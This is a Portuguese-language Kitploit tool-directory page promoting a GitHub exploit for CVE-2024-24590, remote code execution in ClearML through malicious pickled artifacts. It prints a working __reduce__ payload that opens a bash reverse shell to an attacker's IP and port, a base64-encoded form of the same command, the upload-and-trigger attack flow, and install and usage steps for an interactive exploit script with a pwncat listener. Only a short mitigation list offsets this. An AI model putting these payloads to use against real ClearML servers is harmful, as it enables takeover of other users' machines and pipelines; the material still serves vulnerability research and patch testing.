Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML RCE via desserialização insegura de artefato pickle (0.17.0–1.14.2) | Kitploit
Ferramentas/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e EducaçãoRed TeamingFerramenta de Acesso Remoto
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE via desserialização insegura de artefato pickle (0.17.0–1.14.2)

Ver Repositório
62há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-24590 — RCE em Artefato Pickle do ClearML

Visão Geral

CampoDetalhes
CVECVE-2024-24590
SoftwareClearML
Versões Afetadas0.17.0 – 1.14.2
VulnerabilidadeDesserialização insegura de pickle de artefatos de tarefas
AutenticaçãoRequer acesso de escrita a um projeto ClearML
ImpactoExecução Remota de Código em qualquer máquina que carregue o artefato
Testado emUbuntu 22.04, Python 3.9+

Descrição

ClearML é uma plataforma MLOps usada para rastrear experimentos, gerenciar conjuntos de dados e compartilhar artefatos (modelos, arquivos, objetos) entre membros da equipe. Quando um artefato de tarefa é carregado como um objeto Python, o ClearML o serializa usando o módulo pickle do Python. Quando outro usuário baixa e carrega esse artefato, o ClearML o desserializa — também com pickle — sem qualquer verificação de integridade ou lista de permissões de classes.

Um atacante com acesso de escrita a um projeto ClearML compartilhado pode carregar um artefato malicioso contendo um método __reduce__ sobrescrito. Qualquer membro da equipe ou pipeline automatizado que busque e carregue esse artefato executará a carga do atacante durante a desserialização, alcançando RCE em sua máquina.

Detalhes Técnicos

Causa Raiz

O módulo pickle do Python é fundamentalmente inseguro para entrada não confiável. O método mágico __reduce__ em uma classe controla como ela é reconstruída durante a desserialização — ele pode retornar qualquer chamável e argumentos, incluindo os.system:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

Quando empacotado (pickled) e posteriormente desempacotado (unpickled), o Python chama os.system(cmd) como parte da reconstrução do objeto — antes que o chamador tenha qualquer chance de inspecionar o objeto.

Fluxo de Ataque

root@kitploit:~
Atacante (acesso de escrita ao projeto)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
Servidor ClearML armazena o artefato como um blob binário pickled
    │
    ▼
Vítima busca o artefato (pipeline automatizado / revisão manual)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ dispara → os.system(comando_shell_reverso)
    │
    ▼
Shell reverso conecta de volta ao atacante

Codificação da Carga

O comando do shell reverso é codificado em Base64 antes da incorporação para evitar problemas de citação do shell na string serializada:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Pré-requisitos

  • Uma conta ClearML com acesso de escrita a pelo menos um projeto no servidor alvo
  • A vítima deve desserializar o artefato (buscá-lo via SDK do ClearML)

Instalação

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Requisitos: clearml, pwntools, colorama

Uso

root@kitploit:~
python3 exploit.py

O menu interativo guia por duas etapas:

Etapa 1 — Inicializar ClearML (opção 1)

Executa clearml-init para configurar credenciais para o servidor ClearML alvo. Faz backup de qualquer ~/clearml.conf existente primeiro.

Etapa 2 — Executar exploit (opção 2)

Solicita:

  • Seu IP do listener
  • Sua porta do listener
  • Nome do projeto alvo (sensível a maiúsculas/minúsculas — deve ser um projeto ao qual você tenha acesso de escrita)

Opcionalmente, inicia um listener pwncat automaticamente antes de carregar o artefato.

screenshot

Mitigação

  • Atualizar para ClearML ≥ 1.14.3 que restringe a desserialização de artefatos
  • Auditar controles de acesso ao projeto — limitar acesso de escrita apenas a usuários confiáveis
  • Tratar o armazenamento de artefatos do ClearML como uma superfície de execução de código não confiável se estiver usando versões mais antigas

Referências

  • NVD Entry
  • ClearML GitHub
  • Python pickle security warning
Baixar ferramenta